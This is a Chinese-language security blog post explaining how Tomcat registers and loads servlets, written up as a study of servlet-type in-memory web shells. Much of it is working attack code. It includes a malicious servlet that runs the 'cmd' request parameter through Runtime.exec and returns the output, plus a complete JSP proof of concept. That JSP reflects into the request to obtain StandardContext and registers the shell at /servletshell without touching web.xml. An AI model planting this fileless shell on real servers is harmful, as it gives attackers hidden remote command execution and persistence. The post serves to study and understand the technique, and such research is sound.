Java安全-Tomcat 之 Servlet 型内存马

Java安全-Tomcat 之 Servlet 型内存马

Servlet创建

看一下servlet接口的方法有哪些

实际上方法不是很多

1
2
3
4
5
6
7
8
9
10
11
public interface Servlet {  
void init(ServletConfig var1) throws ServletException; // init方法,创建好实例后会被立即调用,仅调用一次。

ServletConfig getServletConfig();//返回一个ServletConfig对象,其中包含这个servlet初始化和启动参数

void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException; //每次调用该servlet都会执行service方法,service方法中实现了我们具体想要对请求的处理。

String getServletInfo();//返回有关servlet的信息,如作者、版本和版权.

void destroy();//只会在当前servlet所在的web被卸载的时候执行一次,释放servlet占用的资源
}

创建一个恶意的Servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

// 基础恶意类
public class ServletTest implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Process process = Runtime.getRuntime().exec(cmd);
java.io.InputStream in = process.getInputStream();
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));
String line;
while ((line = reader.readLine()) != null) {
res.getWriter().write(line + "\n"); // 把输出写到响应里
}
reader.close();
} catch (IOException e) {
e.printStackTrace();
res.getWriter().write("Error: " + e.getMessage());
}
} else {
res.getWriter().write("No cmd parameter provided.");
}
}


@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {

}
}

配置web.xml

1
2
3
4
5
6
7
8
9
10
<servlet>
<servlet-name>Servlet01</servlet-name> <!-- Servlet 的名称 -->
<servlet-class>ServletTest</servlet-class> <!-- Servlet 的全类名 -->
</servlet>

<!-- 2. 映射 Servlet 到 URL -->
<servlet-mapping>
<servlet-name>Servlet01</servlet-name> <!-- 上面定义的 servlet 名称 -->
<url-pattern>/servlet</url-pattern> <!-- URL 映射路径 -->
</servlet-mapping>

测试一下先

顺利执行

Servlet流程分析

初始化

这里我们只分析Servlet的动态注册和装载过程,其他不再分析

org.apache.catalina.core.StandardWrapper#setServletClass()处下断点调试,回溯到上一层的ContextConfig.configureConetxt():

在这里我们可以很清楚地看到Wrapper的初始化流程,首先调用创建了wrapper,然后调用set方法配置wrapper相关的属性,我们可以参考web.xml中需要配置的属性来推测wrapper的关键属性(即图中红框),需要留意的一个特殊属性是load-on-startup属性,它是一个启动优先级,后续再分析:

看到还获取了RunAs和ServletClass

配置完成后会直接将wrapper(这里是StandardWrapper)放入StandardContext的child里:

接着会遍历web.xml中servlet-mapping的servlet-name和对应的url-pattern,调用StandardContext.addServletMapping()添加servlet对应的映射:

总结一下servlet初始化的流程

  1. 通过 context.createWapper() 创建 Wapper 对象
  2. 设置 Servlet 的 LoadOnStartUp 的值(后续分析为什么动态注册Servlet需要设置该属性)
  3. 设置 Servlet 的 Name
  4. 设置 Servlet 对应的 Class
  5. 将 Servlet 添加到 context 的 children 中
  6. 将 url 路径和 servlet 类做映射

装载

org.apache.catalina.core.StandardWrapper#loadServlet()处下断点调试,回溯到StandardContext.startInternal()方法:

可以看到该方法中先加载listener,再加载filter,最后加载我们存放在children里的servlet

这里调用了findChildren()方法从StandardContext中拿到所有的child并传到loadOnStartUp()方法处理,跟到loadOnstartup(),可以根据代码和注释了解到这个方法会将所有load-on-startup属性大于0的wrapper加载(反之则不会),这也是为什么上文我们提到需要关注这个属性的原因

n48

找ai翻译了一下这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public boolean loadOnStartup(Container[] children) {
// 用 TreeMap 保存 loadOnStartup 值相同的 Wrapper,key = loadOnStartup 数字,value = 对应的 servlet 列表
TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap();

// 遍历所有子容器(Servlet 的 Wrapper)
for(int i = 0; i < children.length; ++i) {
Wrapper wrapper = (Wrapper)children[i];
int loadOnStartup = wrapper.getLoadOnStartup();

// 只处理 loadOnStartup >= 0 的 servlet
if (loadOnStartup >= 0) {
Integer key = loadOnStartup;
ArrayList<Wrapper> list = (ArrayList)map.get(key);

// 如果这个优先级还没有对应的 list,则新建一个
if (list == null) {
list = new ArrayList();
map.put(key, list);
}

// 加入对应优先级的 list
list.add(wrapper);
}
}

// 遍历 TreeMap(按照 loadOnStartup 的数值从小到大顺序)
for(ArrayList<Wrapper> list : map.values()) {
for(Wrapper wrapper : list) {
try {
// 调用 wrapper.load() 初始化并加载 servlet
wrapper.load();
} catch (ServletException e) {
// 如果加载失败,打印日志
this.getLogger().error(
sm.getString("standardContext.loadOnStartup.loadException",
new Object[]{this.getName(), wrapper.getName()}),
StandardWrapper.getRootCause(e)
);

// 如果配置了 "启动失败就终止上下文" 选项,则返回 false
if (this.getComputedFailCtxIfServletStartFails()) {
return false;
}
}
}
}

// 全部加载完成,返回 true
return true;
}

从这段代码不难看出这里的loadonstartup的值代表的是优先级

根据搜索,我们了解到load-on-startup属性的作用:

load-on-startup 这个元素的含义是在服务器启动的时候就加载这个servlet(实例化并调用init()方法). 这个元素中的可选内容必须为一个整数,表明了这个servlet被加载的先后顺序. 当是一个负数时或者没有指定时,则表示服务器在该servlet被调用时才加载。正数的值越小,启动该 servlet 的优先级越高。

可以看到当未设置load-on-startup属性是,tomcat采用的是一种懒加载的机制,只有servlet被调用时才会加载到Context中

由于我们需要动态注册Servlet,为了使其被加载,我们必须设置load-on-startup属性

内存马实现

构造思路

  • 创建恶意servlet
  • 创建StandardWrapper,设置属性值
  • 通过addChild将StandardWrapper添加到StandarContext里

  1. 获取 StandardContext 对象
  2. 编写恶意 Servlet
  3. 通过 StandardContext.createWrapper() 创建StandardWrapper 对象
  4. 设置 StandardWrapper 对象的 loadOnStartup 属性值
  5. 设置 StandardWrapper 对象的 ServletName 属性值
  6. 设置 StandardWrapper 对象的 ServletClass 属性值
  7. StandardWrapper 对象添加进 StandardContext 对象的 children 属性中
  8. 通过 StandardContext.addServletMappingDecoded() 添加对应的路径映射

编写poc

获取StandardContext

利用request对象获取

1
2
3
<%   
Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext();
%>

servlet就用我们之前测试的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<%!

public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Process process = Runtime.getRuntime().exec(cmd);
java.io.InputStream in = process.getInputStream();
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));
String line;
while ((line = reader.readLine()) != null) {
res.getWriter().write(line + "\n"); // 把输出写到响应里
}
reader.close();
} catch (IOException e) {
e.printStackTrace();
res.getWriter().write("Error: " + e.getMessage());
}
} else {
res.getWriter().write("No cmd parameter provided.");
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}

%>

创建wrapper对象并填充属性

1
2
3
4
5
6
7
8
9
10
<%
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();

Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>

将 Wrapper 添加进 StandardContext并将路径映射添加进Map

1
2
3
4
<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
%>

最终poc,只需要把这几段拼接起来即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>

<%!

public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Process process = Runtime.getRuntime().exec(cmd);
java.io.InputStream in = process.getInputStream();
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));
String line;
while ((line = reader.readLine()) != null) {
res.getWriter().write(line + "\n"); // 把输出写到响应里
}
reader.close();
} catch (IOException e) {
e.printStackTrace();
res.getWriter().write("Error: " + e.getMessage());
}
} else {
res.getWriter().write("No cmd parameter provided.");
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}

%>

<%
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();

Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>

<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/servletshell",name);
%>

运行一下

顺利回显

参考

https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Servlet%E5%9E%8B/#servlet%E8%A3%85%E8%BD%BD%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90

Java内存马系列-05-Tomcat 之 Servlet 型内存马 | Drunkbaby’s Blog


Java安全-Tomcat 之 Servlet 型内存马
http://huang-d1.github.io/2025/10/18/Java安全-Tomcat 之 Servlet 型内存马/
作者
huangdi
发布于
2025年10月18日
许可协议